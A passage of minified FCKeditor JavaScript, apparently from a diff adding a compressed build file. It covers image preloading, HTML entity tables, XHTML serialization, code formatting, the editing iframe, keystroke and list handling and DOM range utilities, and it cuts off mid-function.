FCKeditorAPI.__Instances[FCK.Name];};FCKTools.AddEventListener(window,'unload',FCKeditorAPI_Cleanup);
+var FCKImagePreloader=function(){this._Images=[];};FCKImagePreloader.prototype={AddImages:function(A){if (typeof(A)=='string') A=A.split(';');this._Images=this._Images.concat(A);},Start:function(){var A=this._Images;this._PreloadCount=A.length;for (var i=0;i<A.length;i++){var B=document.createElement('img');B.onload=B.onerror=_FCKImagePreloader_OnImage;B._FCKImagePreloader=this;B.src=A[i];_FCKImagePreloader_ImageCache.push(B);}}};var _FCKImagePreloader_ImageCache=[];function _FCKImagePreloader_OnImage(){var A=this._FCKImagePreloader;if ((--A._PreloadCount)==0&&A.OnComplete) A.OnComplete();this._FCKImagePreloader=null;}
+var FCKRegexLib={AposEntity:/&apos;/gi,ObjectElements:/^(?:IMG|TABLE|TR|TD|TH|INPUT|SELECT|TEXTAREA|HR|OBJECT|A|UL|OL|LI)$/i,NamedCommands:/^(?:Cut|Copy|Paste|Print|SelectAll|RemoveFormat|Unlink|Undo|Redo|Bold|Italic|Underline|StrikeThrough|Subscript|Superscript|JustifyLeft|JustifyCenter|JustifyRight|JustifyFull|Outdent|Indent|InsertOrderedList|InsertUnorderedList|InsertHorizontalRule)$/i,BodyContents:/([\s\S]*\<body[^\>]*\>)([\s\S]*)(\<\/body\>[\s\S]*)/i,ToReplace:/___fcktoreplace:([\w]+)/ig,MetaHttpEquiv:/http-equiv\s*=\s*["']?([^"' ]+)/i,HasBaseTag:/<base /i,HtmlOpener:/<html\s?[^>]*>/i,HeadOpener:/<head\s?[^>]*>/i,HeadCloser:/<\/head\s*>/i,FCK_Class:/(\s*FCK__[A-Za-z]*\s*)/,ElementName:/(^[a-z_:][\w.\-:]*\w$)|(^[a-z_]$)/,ForceSimpleAmpersand:/___FCKAmp___/g,SpaceNoClose:/\/>/g,EmptyParagraph:/^<(p|div)>\s*<\/\1>$/i,TagBody:/></,StrongOpener:/<STRONG([ \>])/gi,StrongCloser:/<\/STRONG>/gi,EmOpener:/<EM([ \>])/gi,EmCloser:/<\/EM>/gi,GeckoEntitiesMarker:/#\?-\:/g,ProtectUrlsImg:/(?:(<img(?=\s).*?\ssrc=)("|')(.*?)\2)|(?:(<img\s.*?src=)([^"'][^ >]+))/gi,ProtectUrlsA:/(?:(<a(?=\s).*?\shref=)("|')(.*?)\2)|(?:(<a\s.*?href=)([^"'][^ >]+))/gi,Html4DocType:/HTML 4\.0 Transitional/i,DocTypeTag:/<!DOCTYPE[^>]*>/i,TagsWithEvent:/<[^\>]+ on\w+[\s\r\n]*=[\s\r\n]*?('|")[\s\S]+?\>/g,EventAttributes:/\s(on\w+)[\s\r\n]*=[\s\r\n]*?('|")([\s\S]*?)\2/g,ProtectedEvents:/\s\w+_fckprotectedatt="([^"]+)"/g,StyleProperties:/\S+\s*:/g};var FCKListsLib={BlockElements:{ address:1,blockquote:1,div:1,dl:1,fieldset:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,hr:1,noscript:1,ol:1,p:1,pre:1,script:1,table:1,ul:1 },NonEmptyBlockElements:{ p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,address:1,pre:1,ol:1,ul:1,li:1,td:1,th:1 },PathBlockElements:{ address:1,blockquote:1,div:1,dl:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,ol:1,ul:1,li:1,dt:1,de:1 },InlineChildReqElements:{ abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strong:1,sub:1,sup:1,tt:1,'var':1 },EmptyElements:{ base:1,meta:1,link:1,hr:1,br:1,param:1,img:1,area:1,input:1 }};
+var FCKLanguageManager=FCK.Language={AvailableLanguages:{af:'Afrikaans',ar:'Arabic',bg:'Bulgarian',bn:'Bengali/Bangla',bs:'Bosnian',ca:'Catalan',cs:'Czech',da:'Danish',de:'German',el:'Greek',en:'English','en-au':'English (Australia)','en-ca':'English (Canadian)','en-uk':'English (United Kingdom)',eo:'Esperanto',es:'Spanish',et:'Estonian',eu:'Basque',fa:'Persian',fi:'Finnish',fo:'Faroese',fr:'French',gl:'Galician',he:'Hebrew',hi:'Hindi',hr:'Croatian',hu:'Hungarian',it:'Italian',ja:'Japanese',km:'Khmer',ko:'Korean',lt:'Lithuanian',lv:'Latvian',mn:'Mongolian',ms:'Malay',nb:'Norwegian Bokmal',nl:'Dutch',no:'Norwegian',pl:'Polish',pt:'Portuguese (Portugal)','pt-br':'Portuguese (Brazil)',ro:'Romanian',ru:'Russian',sk:'Slovak',sl:'Slovenian',sr:'Serbian (Cyrillic)','sr-latn':'Serbian (Latin)',sv:'Swedish',th:'Thai',tr:'Turkish',uk:'Ukrainian',vi:'Vietnamese',zh:'Chinese Traditional','zh-cn':'Chinese Simplified'},GetActiveLanguage:function(){if (FCKConfig.AutoDetectLanguage){var A;if (navigator.userLanguage) A=navigator.userLanguage.toLowerCase();else if (navigator.language) A=navigator.language.toLowerCase();else{return FCKConfig.DefaultLanguage;};if (A.length>=5){A=A.substr(0,5);if (this.AvailableLanguages[A]) return A;};if (A.length>=2){A=A.substr(0,2);if (this.AvailableLanguages[A]) return A;}};return this.DefaultLanguage;},TranslateElements:function(A,B,C,D){var e=A.getElementsByTagName(B);var E,s;for (var i=0;i<e.length;i++){if ((E=e[i].getAttribute('fckLang'))){if ((s=FCKLang[E])){if (D) s=FCKTools.HTMLEncode(s);eval('e[i].'+C+' = s');}}}},TranslatePage:function(A){this.TranslateElements(A,'INPUT','value');this.TranslateElements(A,'SPAN','innerHTML');this.TranslateElements(A,'LABEL','innerHTML');this.TranslateElements(A,'OPTION','innerHTML',true);},Initialize:function(){if (this.AvailableLanguages[FCKConfig.DefaultLanguage]) this.DefaultLanguage=FCKConfig.DefaultLanguage;else this.DefaultLanguage='en';this.ActiveLanguage={};this.ActiveLanguage.Code=this.GetActiveLanguage();this.ActiveLanguage.Name=this.AvailableLanguages[this.ActiveLanguage.Code];}};
+var FCKXHtmlEntities={};FCKXHtmlEntities.Initialize=function(){if (FCKXHtmlEntities.Entities) return;var A='';var B,e;if (FCKConfig.ProcessHTMLEntities){FCKXHtmlEntities.Entities={' ':'nbsp','¡':'iexcl','¢':'cent','£':'pound','¤':'curren','¥':'yen','¦':'brvbar','§':'sect','¨':'uml','©':'copy','ª':'ordf','«':'laquo','¬':'not','­':'shy','®':'reg','¯':'macr','°':'deg','±':'plusmn','²':'sup2','³':'sup3','´':'acute','µ':'micro','¶':'para','·':'middot','¸':'cedil','¹':'sup1','º':'ordm','»':'raquo','¼':'frac14','½':'frac12','¾':'frac34','¿':'iquest','×':'times','÷':'divide','ƒ':'fnof','•':'bull','…':'hellip','′':'prime','″':'Prime','‾':'oline','⁄':'frasl','℘':'weierp','ℑ':'image','ℜ':'real','™':'trade','ℵ':'alefsym','←':'larr','↑':'uarr','→':'rarr','↓':'darr','↔':'harr','↵':'crarr','⇐':'lArr','⇑':'uArr','⇒':'rArr','⇓':'dArr','⇔':'hArr','∀':'forall','∂':'part','∃':'exist','∅':'empty','∇':'nabla','∈':'isin','∉':'notin','∋':'ni','∏':'prod','∑':'sum','−':'minus','∗':'lowast','√':'radic','∝':'prop','∞':'infin','∠':'ang','∧':'and','∨':'or','∩':'cap','∪':'cup','∫':'int','∴':'there4','∼':'sim','≅':'cong','≈':'asymp','≠':'ne','≡':'equiv','≤':'le','≥':'ge','⊂':'sub','⊃':'sup','⊄':'nsub','⊆':'sube','⊇':'supe','⊕':'oplus','⊗':'otimes','⊥':'perp','⋅':'sdot','◊':'loz','♠':'spades','♣':'clubs','♥':'hearts','♦':'diams','"':'quot','ˆ':'circ','˜':'tilde',' ':'ensp',' ':'emsp',' ':'thinsp','‌':'zwnj','‍':'zwj','‎':'lrm','‏':'rlm','–':'ndash','—':'mdash','‘':'lsquo','’':'rsquo','‚':'sbquo','“':'ldquo','”':'rdquo','„':'bdquo','†':'dagger','‡':'Dagger','‰':'permil','‹':'lsaquo','›':'rsaquo','€':'euro'};for (e in FCKXHtmlEntities.Entities) A+=e;if (FCKConfig.IncludeLatinEntities){B={'À':'Agrave','Á':'Aacute','Â':'Acirc','Ã':'Atilde','Ä':'Auml','Å':'Aring','Æ':'AElig','Ç':'Ccedil','È':'Egrave','É':'Eacute','Ê':'Ecirc','Ë':'Euml','Ì':'Igrave','Í':'Iacute','Î':'Icirc','Ï':'Iuml','Ð':'ETH','Ñ':'Ntilde','Ò':'Ograve','Ó':'Oacute','Ô':'Ocirc','Õ':'Otilde','Ö':'Ouml','Ø':'Oslash','Ù':'Ugrave','Ú':'Uacute','Û':'Ucirc','Ü':'Uuml','Ý':'Yacute','Þ':'THORN','ß':'szlig','à':'agrave','á':'aacute','â':'acirc','ã':'atilde','ä':'auml','å':'aring','æ':'aelig','ç':'ccedil','è':'egrave','é':'eacute','ê':'ecirc','ë':'euml','ì':'igrave','í':'iacute','î':'icirc','ï':'iuml','ð':'eth','ñ':'ntilde','ò':'ograve','ó':'oacute','ô':'ocirc','õ':'otilde','ö':'ouml','ø':'oslash','ù':'ugrave','ú':'uacute','û':'ucirc','ü':'uuml','ý':'yacute','þ':'thorn','ÿ':'yuml','Œ':'OElig','œ':'oelig','Š':'Scaron','š':'scaron','Ÿ':'Yuml'};for (e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;};if (FCKConfig.IncludeGreekEntities){B={'Α':'Alpha','Β':'Beta','Γ':'Gamma','Δ':'Delta','Ε':'Epsilon','Ζ':'Zeta','Η':'Eta','Θ':'Theta','Ι':'Iota','Κ':'Kappa','Λ':'Lambda','Μ':'Mu','Ν':'Nu','Ξ':'Xi','Ο':'Omicron','Π':'Pi','Ρ':'Rho','Σ':'Sigma','Τ':'Tau','Υ':'Upsilon','Φ':'Phi','Χ':'Chi','Ψ':'Psi','Ω':'Omega','α':'alpha','β':'beta','γ':'gamma','δ':'delta','ε':'epsilon','ζ':'zeta','η':'eta','θ':'theta','ι':'iota','κ':'kappa','λ':'lambda','μ':'mu','ν':'nu','ξ':'xi','ο':'omicron','π':'pi','ρ':'rho','ς':'sigmaf','σ':'sigma','τ':'tau','υ':'upsilon','φ':'phi','χ':'chi','ψ':'psi','ω':'omega'};for (e in B){FCKXHtmlEntities.Entities[e]=B[e];A+=e;};B=null;}}else{FCKXHtmlEntities.Entities={};A=' ';};var C='['+A+']';if (FCKConfig.ProcessNumericEntities) C='[^ -~]|'+C;var D=FCKConfig.AdditionalNumericEntities;if (D&&D.length>0) C+='|'+FCKConfig.AdditionalNumericEntities;FCKXHtmlEntities.EntitiesRegex=new RegExp(C,'g');}
+var FCKXHtml={};FCKXHtml.CurrentJobNum=0;FCKXHtml.GetXHTML=function(A,B,C){FCKXHtmlEntities.Initialize();var D=FCK.IsDirty();this._CreateNode=FCKConfig.ForceStrongEm?FCKXHtml_CreateNode_StrongEm:FCKXHtml_CreateNode_Normal;FCKXHtml.SpecialBlocks=[];this.XML=FCKTools.CreateXmlObject('DOMDocument');this.MainNode=this.XML.appendChild(this.XML.createElement('xhtml'));FCKXHtml.CurrentJobNum++;if (B) this._AppendNode(this.MainNode,A);else this._AppendChildNodes(this.MainNode,A,false);var E=this._GetMainXmlString();this.XML=null;E=E.substr(7,E.length-15).Trim();if (FCKBrowserInfo.IsGecko) E=E.replace(/<br\/>$/,'');E=E.replace(FCKRegexLib.SpaceNoClose,' />');if (FCKConfig.ForceSimpleAmpersand) E=E.replace(FCKRegexLib.ForceSimpleAmpersand,'&');if (C) E=FCKCodeFormatter.Format(E);for (var i=0;i<FCKXHtml.SpecialBlocks.length;i++){var F=new RegExp('___FCKsi___'+i);E=E.replace(F,FCKXHtml.SpecialBlocks[i]);};E=E.replace(FCKRegexLib.GeckoEntitiesMarker,'&');if (!D) FCK.ResetIsDirty();return E;};FCKXHtml._AppendAttribute=function(A,B,C){try{if (C==undefined||C==null) C='';else if (C.replace){if (FCKConfig.ForceSimpleAmpersand) C=C.replace(/&/g,'___FCKAmp___');C=C.replace(FCKXHtmlEntities.EntitiesRegex,FCKXHtml_GetEntity);};var D=this.XML.createAttribute(B);D.value=C;A.attributes.setNamedItem(D);}catch (e){}};FCKXHtml._AppendChildNodes=function(A,B,C){if (C) FCKDomTools.TrimNode(B);var D=0;var E=B.firstChild;while (E){if (this._AppendNode(A,E)) D++;E=E.nextSibling;};if (D==0){if (C&&FCKConfig.FillEmptyBlocks){this._AppendEntity(A,'nbsp');return A;};var F=A.nodeName;if (FCKListsLib.InlineChildReqElements[F]) return null;if (!FCKListsLib.EmptyElements[F]) A.appendChild(this.XML.createTextNode(''));};return A;};FCKXHtml._AppendNode=function(A,B){if (!B) return false;switch (B.nodeType){case 1:if (B.getAttribute('_fckfakelement')) return FCKXHtml._AppendNode(A,FCK.GetRealElement(B));if (FCKBrowserInfo.IsGecko&&B.hasAttribute('_moz_editor_bogus_node')) return false;if (B.getAttribute('_fcktemp')) return false;var C=B.tagName.toLowerCase();if (FCKBrowserInfo.IsIE){if (B.scopeName&&B.scopeName!='HTML'&&B.scopeName!='FCK') C=B.scopeName.toLowerCase()+':'+C;}else{if (C.StartsWith('fck:')) C=C.Remove(0,4);};if (!FCKRegexLib.ElementName.test(C)) return false;if (C=='br'&&(B.getAttribute('type',2)=='_moz'||!B.nextSibling)) return false;if (B._fckxhtmljob&&B._fckxhtmljob==FCKXHtml.CurrentJobNum) return false;var D=this._CreateNode(C);FCKXHtml._AppendAttributes(A,B,D,C);B._fckxhtmljob=FCKXHtml.CurrentJobNum;var E=FCKXHtml.TagProcessors[C];if (E) D=E(D,B,A);else D=this._AppendChildNodes(D,B,Boolean(FCKListsLib.NonEmptyBlockElements[C]));if (!D) break;A.appendChild(D);break;case 3:return this._AppendTextNode(A,B.nodeValue.ReplaceNewLineChars(' '));case 8:if (FCKBrowserInfo.IsIE&&!B.innerHTML) break;try { A.appendChild(this.XML.createComment(B.nodeValue));}catch (e) {/*Do nothing... probably this is a wrong format comment.*/};break;default:A.appendChild(this.XML.createComment("Element not supported - Type: "+B.nodeType+" Name: "+B.nodeName));break;};return true;};function FCKXHtml_CreateNode_StrongEm(A){switch (A){case 'b':A='strong';break;case 'i':A='em';break;};return this.XML.createElement(A);};function FCKXHtml_CreateNode_Normal(A){return this.XML.createElement(A);};FCKXHtml._AppendSpecialItem=function(A){return '___FCKsi___'+FCKXHtml.SpecialBlocks.AddItem(A);};FCKXHtml._AppendEntity=function(A,B){A.appendChild(this.XML.createTextNode('#?-:'+B+';'));};FCKXHtml._AppendTextNode=function(A,B){var C=B.length>0;if (C) A.appendChild(this.XML.createTextNode(B.replace(FCKXHtmlEntities.EntitiesRegex,FCKXHtml_GetEntity)));return C;};function FCKXHtml_GetEntity(A){var B=FCKXHtmlEntities.Entities[A]||('#'+A.charCodeAt(0));return '#?-:'+B+';';};FCKXHtml._RemoveAttribute=function(A,B,C){var D=A.attributes.getNamedItem(C);if (D&&B.test(D.nodeValue)){var E=D.nodeValue.replace(B,'');if (E.length==0) A.attributes.removeNamedItem(C);else D.nodeValue=E;}};FCKXHtml.TagProcessors={img:function(A,B){if (!A.attributes.getNamedItem('alt')) FCKXHtml._AppendAttribute(A,'alt','');var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'src',C);return A;},a:function(A,B){if (B.innerHTML.Trim().length==0&&!B.name) return false;var C=B.getAttribute('_fcksavedurl');if (C!=null) FCKXHtml._AppendAttribute(A,'href',C);if (FCKBrowserInfo.IsIE){FCKXHtml._RemoveAttribute(A,FCKRegexLib.FCK_Class,'class');if (B.name) FCKXHtml._AppendAttribute(A,'name',B.name);};FCKXHtml._AppendChildNodes(A,B,false);return A;},script:function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/javascript');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.text)));return A;},style:function(A,B){if (!A.attributes.getNamedItem('type')) FCKXHtml._AppendAttribute(A,'type','text/css');A.appendChild(FCKXHtml.XML.createTextNode(FCKXHtml._AppendSpecialItem(B.innerHTML)));return A;},title:function(A,B){A.appendChild(FCKXHtml.XML.createTextNode(FCK.EditorDocument.title));return A;},table:function(A,B){if (FCKBrowserInfo.IsIE) FCKXHtml._RemoveAttribute(A,FCKRegexLib.FCK_Class,'class');FCKXHtml._AppendChildNodes(A,B,false);return A;},ol:function(A,B,C){if (B.innerHTML.Trim().length==0) return false;var D=C.lastChild;if (D&&D.nodeType==3) D=D.previousSibling;if (D&&D.nodeName.toUpperCase()=='LI'){B._fckxhtmljob=null;FCKXHtml._AppendNode(D,B);return false;};FCKXHtml._AppendChildNodes(A,B);return A;},span:function(A,B){if (B.innerHTML.length==0) return false;FCKXHtml._AppendChildNodes(A,B,false);return A;}};FCKXHtml.TagProcessors.ul=FCKXHtml.TagProcessors.ol;
+FCKXHtml._GetMainXmlString=function(){var A=new XMLSerializer();return A.serializeToString(this.MainNode);};FCKXHtml._AppendAttributes=function(A,B,C){var D=B.attributes;for (var n=0;n<D.length;n++){var E=D[n];if (E.specified){var F=E.nodeName.toLowerCase();var G;if (F.StartsWith('_fck')) continue;else if (F.indexOf('_moz')==0) continue;else if (F=='class') G=E.nodeValue;else if (E.nodeValue===true) G=F;else G=B.getAttribute(F,2);this._AppendAttribute(C,F,G);}}}
+var FCKCodeFormatter={};FCKCodeFormatter.Init=function(){var A=this.Regex={};A.BlocksOpener=/\<(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.BlocksCloser=/\<\/(P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|TITLE|META|LINK|BASE|SCRIPT|LINK|TD|TH|AREA|OPTION)[^\>]*\>/gi;A.NewLineTags=/\<(BR|HR)[^\>]*\>/gi;A.MainTags=/\<\/?(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR)[^\>]*\>/gi;A.LineSplitter=/\s*\n+\s*/g;A.IncreaseIndent=/^\<(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \/\>]/i;A.DecreaseIndent=/^\<\/(HTML|HEAD|BODY|FORM|TABLE|TBODY|THEAD|TR|UL|OL)[ \>]/i;A.FormatIndentatorRemove=new RegExp('^'+FCKConfig.FormatIndentator);A.ProtectedTags=/(<PRE[^>]*>)([\s\S]*?)(<\/PRE>)/gi;};FCKCodeFormatter._ProtectData=function(A,B,C,D){return B+'___FCKpd___'+FCKCodeFormatter.ProtectedData.AddItem(C)+D;};FCKCodeFormatter.Format=function(A){if (!this.Regex) this.Init();FCKCodeFormatter.ProtectedData=[];var B=A.replace(this.Regex.ProtectedTags,FCKCodeFormatter._ProtectData);B=B.replace(this.Regex.BlocksOpener,'\n$&');B=B.replace(this.Regex.BlocksCloser,'$&\n');B=B.replace(this.Regex.NewLineTags,'$&\n');B=B.replace(this.Regex.MainTags,'\n$&\n');var C='';var D=B.split(this.Regex.LineSplitter);B='';for (var i=0;i<D.length;i++){var E=D[i];if (E.length==0) continue;if (this.Regex.DecreaseIndent.test(E)) C=C.replace(this.Regex.FormatIndentatorRemove,'');B+=C+E+'\n';if (this.Regex.IncreaseIndent.test(E)) C+=FCKConfig.FormatIndentator;};for (var j=0;j<FCKCodeFormatter.ProtectedData.length;j++){var F=new RegExp('___FCKpd___'+j);B=B.replace(F,FCKCodeFormatter.ProtectedData[j].replace(/\$/g,'$$$$'));};return B.Trim();}
+var FCKUndo={};FCKUndo.SaveUndoStep=function(){}
+var FCKEditingArea=function(A){this.TargetElement=A;this.Mode=0;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKEditingArea_Cleanup);};FCKEditingArea.prototype.Start=function(A,B){var C=this.TargetElement;var D=FCKTools.GetElementDocument(C);while(C.childNodes.length>0) C.removeChild(C.childNodes[0]);if (this.Mode==0){var E=this.IFrame=D.createElement('iframe');E.src='javascript:void(0)';E.frameBorder=0;E.width=E.height='100%';C.appendChild(E);if (FCKBrowserInfo.IsIE) A=A.replace(/(<base[^>]*?)\s*\/?>(?!\s*<\/base>)/gi,'$1></base>');else if (!B){if (FCKBrowserInfo.IsGecko) A=A.replace(/(<body[^>]*>)\s*(<\/body>)/i,'$1'+GECKO_BOGUS+'$2');var F=A.match(FCKRegexLib.BodyContents);if (F){A=F[1]+'&nbsp;'+F[3];this._BodyHTML=F[2];}else this._BodyHTML=A;};this.Window=E.contentWindow;var G=this.Document=this.Window.document;G.open();G.write(A);G.close();if (FCKBrowserInfo.IsGecko10&&!B){this.Start(A,true);return;};this.Window._FCKEditingArea=this;if (FCKBrowserInfo.IsGecko10) this.Window.setTimeout(FCKEditingArea_CompleteStart,500);else FCKEditingArea_CompleteStart.call(this.Window);}else{var H=this.Textarea=D.createElement('textarea');H.className='SourceField';H.dir='ltr';H.style.width=H.style.height='100%';H.style.border='none';C.appendChild(H);H.value=A;FCKTools.RunFunction(this.OnLoad);}};function FCKEditingArea_CompleteStart(){if (!this.document.body){this.setTimeout(FCKEditingArea_CompleteStart,50);return;};var A=this._FCKEditingArea;A.MakeEditable();FCKTools.RunFunction(A.OnLoad);};FCKEditingArea.prototype.MakeEditable=function(){var A=this.Document;if (FCKBrowserInfo.IsIE){A.body.contentEditable=true;}else{try{A.body.spellcheck=(this.FFSpellChecker!==false);if (this._BodyHTML){A.body.innerHTML=this._BodyHTML;this._BodyHTML=null;};A.designMode='on';try{A.execCommand('styleWithCSS',false,FCKConfig.GeckoUseSPAN);}catch (e){A.execCommand('useCSS',false,!FCKConfig.GeckoUseSPAN);};A.execCommand('enableObjectResizing',false,!FCKConfig.DisableObjectResizing);A.execCommand('enableInlineTableEditing',false,!FCKConfig.DisableFFTableHandles);}catch (e) {}}};FCKEditingArea.prototype.Focus=function(){try{if (this.Mode==0){if (FCKBrowserInfo.IsIE&&this.Document.hasFocus()) return;if (FCKBrowserInfo.IsSafari) this.IFrame.focus();else{this.Window.focus();}}else{var A=FCKTools.GetElementDocument(this.Textarea);if ((!A.hasFocus||A.hasFocus())&&A.activeElement==this.Textarea) return;this.Textarea.focus();}}catch(e) {}};function FCKEditingArea_Cleanup(){this.TargetElement=null;this.IFrame=null;this.Document=null;this.Textarea=null;if (this.Window){this.Window._FCKEditingArea=null;this.Window=null;}}
+var FCKKeystrokeHandler=function(A){this.Keystrokes={};this.CancelCtrlDefaults=(A!==false);};FCKKeystrokeHandler.prototype.AttachToElement=function(A){FCKTools.AddEventListenerEx(A,'keydown',_FCKKeystrokeHandler_OnKeyDown,this);if (FCKBrowserInfo.IsGecko10||FCKBrowserInfo.IsOpera||(FCKBrowserInfo.IsGecko&&FCKBrowserInfo.IsMac)) FCKTools.AddEventListenerEx(A,'keypress',_FCKKeystrokeHandler_OnKeyPress,this);};FCKKeystrokeHandler.prototype.SetKeystrokes=function(){for (var i=0;i<arguments.length;i++){var A=arguments[i];if (typeof(A[0])=='object') this.SetKeystrokes.apply(this,A);else{if (A.length==1) delete this.Keystrokes[A[0]];else this.Keystrokes[A[0]]=A[1]===true?true:A;}}};function _FCKKeystrokeHandler_OnKeyDown(A,B){var C=A.keyCode||A.which;var D=0;if (A.ctrlKey||A.metaKey) D+=CTRL;if (A.shiftKey) D+=SHIFT;if (A.altKey) D+=ALT;var E=C+D;var F=B._CancelIt=false;var G=B.Keystrokes[E];if (G){if (G===true||!(B.OnKeystroke&&B.OnKeystroke.apply(B,G))) return true;F=true;};if (F||(B.CancelCtrlDefaults&&D==CTRL&&(C<33||C>40))){B._CancelIt=true;if (A.preventDefault) return A.preventDefault();A.returnValue=false;A.cancelBubble=true;return false;};return true;};function _FCKKeystrokeHandler_OnKeyPress(A,B){if (B._CancelIt){if (A.preventDefault) return A.preventDefault();return false;};return true;}
+var FCKListHandler={OutdentListItem:function(A){var B=A.parentNode;if (B.tagName.toUpperCase().Equals('UL','OL')){var C=FCKTools.GetElementDocument(A);var D=new FCKDocumentFragment(C);var E=D.RootNode;var F=false;var G=FCKDomTools.GetFirstChild(A,['UL','OL']);if (G){F=true;var H;while ((H=G.firstChild)) E.appendChild(G.removeChild(H));FCKDomTools.RemoveNode(G);};var I;var J=false;while ((I=A.nextSibling)){if (!F&&I.nodeType==1&&I.nodeName.toUpperCase()=='LI') J=F=true;E.appendChild(I.parentNode.removeChild(I));if (!J&&I.nodeType==1&&I.nodeName.toUpperCase().Equals('UL','OL')) FCKDomTools.RemoveNode(I,true);};var K=B.parentNode.tagName.toUpperCase();var L=(K=='LI');if (L||K.Equals('UL','OL')){if (F){var G=B.cloneNode(false);D.AppendTo(G);A.appendChild(G);}else if (L) D.InsertAfterNode(B.parentNode);else D.InsertAfterNode(B);if (L) FCKDomTools.InsertAfterNode(B.parentNode,B.removeChild(A));else FCKDomTools.InsertAfterNode(B,B.removeChild(A));}else{if (F){var N=B.cloneNode(false);D.AppendTo(N);FCKDomTools.InsertAfterNode(B,N);};var O=C.createElement('p');FCKDomTools.MoveChildren(B.removeChild(A),O);FCKDomTools.InsertAfterNode(B,O);A=O;};if (this.CheckEmptyList(B)) FCKDomTools.RemoveNode(B,true);};return A;},CheckEmptyList:function(A){return (FCKDomTools.GetFirstChild(A,'LI')==null);},CheckListHasContents:function(A){var B=A.firstChild;while (B){switch (B.nodeType){case 1:if (!B.nodeName.IEquals('UL','LI')) return true;break;case 3:if (B.nodeValue.Trim().length>0) return true;};B=B.nextSibling;};return false;}};
+var FCKElementPath=function(A){var B=null;var C=null;var D=[];var e=A;while (e){if (e.nodeType==1){if (!this.LastElement) this.LastElement=e;var E=e.nodeName.toLowerCase();if (!C&&!B&&FCKListsLib.PathBlockElements[E]!=null) B=e;if (!C&&(/^(?:body|td|th|caption|form)$/).test(E)) C=e;D.push(e);if (E=='BODY') break;};e=e.parentNode;};this.Block=B;this.BlockLimit=C;this.Elements=D;};
+var FCKDomRange=function(A){this.Window=A;};FCKDomRange.prototype={_UpdateElementInfo:function(){if (!this._Range) this.Release(true);else{var A=this._Range.startContainer;var B=this._Range.endContainer;var C=new FCKElementPath(A);this.StartContainer=C.LastElement;this.StartBlock=C.Block;this.StartBlockLimit=C.BlockLimit;if (A!=B) C=new FCKElementPath(B);this.EndContainer=C.LastElement;this.EndBlock=C.Block;this.EndBlockLimit=C.BlockLimit;}},CreateRange:function(){return new FCKW3CRange(this.Window.document);},DeleteContents:function(){if (this._Range){this._Range.deleteContents();this._UpdateElementInfo();}},ExtractContents:function(){if (this._Range){var A=this._Range.extractContents();this._UpdateElementInfo();return A;}},CheckIsCollapsed:function(){if (this._Range) return this._Range.collapsed;},Collapse:function(A){if (this._Range) this._Range.collapse(A);this._UpdateElementInfo();},Clone:function(){var A=FCKTools.CloneObject(this);if (this._Range) A._Range=this._Range.cloneRange();return A;},MoveToNodeContents:function(A){if (!this._Range) this._Range=this.CreateRange();this._Range.selectNodeContents(A);this._UpdateElementInfo();},MoveToElementStart:function(A){this.SetStart(A,1);this.SetEnd(A,1);},InsertNode:function(A){if (this._Range) this._Range.insertNode(A);},CheckIsEmpty:function(A){if (this.CheckIsCollapsed()) return true;var B=this.Window.document.createElement('div');this._Range.cloneContents().AppendTo(B);FCKDomTools.TrimNode(B,A);return (B.innerHTML.length==0);},CheckStartOfBlock:function(){var A=this.Clone();A.Collapse(true);A.SetStart(A.StartBlock||A.StartBlockLimit,1);var B=A.CheckIsEmpty();A.Release();return B;},CheckEndOfBlock:function(A){var B=this.Clone();B.Collapse(false);B.SetEnd(B.EndBlock||B.EndBlockLimit,2);var C=B.CheckIsEmpty(true);B.Release();if (A) this.Select();return C;},CreateBookmark:function(){var A={StartId:'fck_dom_range_start_'+(new Date()).valueOf()+'_'+Math.floor(Math.random()*1000),EndId:'fck_dom_range_end_'+(new Date()).valueOf()+'_'+Math.floor(Math.random()*1000)};var B=this.Window.document;var C;var D;if (!this.CheckIsCollapsed()){C=B.createElement('span');C.id=A.EndId;C.innerHTML='&nbsp;';D=this.Clone();D.Collapse(false);D.InsertNode(C);};C=B.createElement('span');C.id=A.StartId;C.innerHTML='&nbsp;';D=this.Clone();D.Collapse(true);D.InsertNode(C);return A;},MoveToBookmark:function(A,B){var C=this.Window.document;var D=C.getElementById(A.StartId);var E=C.getElementById(A.EndId);this.SetStart(D,3);if (!B) FCKDomTools.RemoveNode(D);if (E){this.SetEnd(E,3);if (!B) FCKDomTools.RemoveNode(E);}else this.Collapse(true);},SetStart:function(A,B){var C=this._Range;if (!C) C=this._Range=this.CreateRange();switch(B){case 1:C.setStart(A,0);break;case 2:C.setStart(A,A.childNodes.length);break;case 3:C.setStartBefore(A);break;case 4:C.setStartAfter(A);};this._UpdateElementInfo();},SetEnd:function(A,B){var C=this._Range;if (!C) C=this._Range=this.CreateRange();switch(B){case 1:C.setEnd(A,0);break;case 2:C.setEnd(A,A.childNodes.length);break;case 3:C.setEndBefore(A);break;case 4:C.setEndAfter(A);};this._UpdateElementInfo();},Expand:function(A){var B,oSibling;switch (A){case 'block_contents':if (this.StartBlock) this.SetStart(this.StartBlock,1);else{B=this._Range.startContainer;if (B.nodeType==1){if (!(B=B.childNodes[this._Range.startOffset])) B=B.firstChild;};if (!B) return;while (true){oSibling=B.previousSibling;if (!oSibling){if (B.parentNode!=this.StartBlockLimit) B=B.parentNode;else break;}else if (oSibling.nodeType!=1||!(/^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|DT|DE)$/).test(oSibling.nodeName.toUpperCase())){B=oSibling;}else 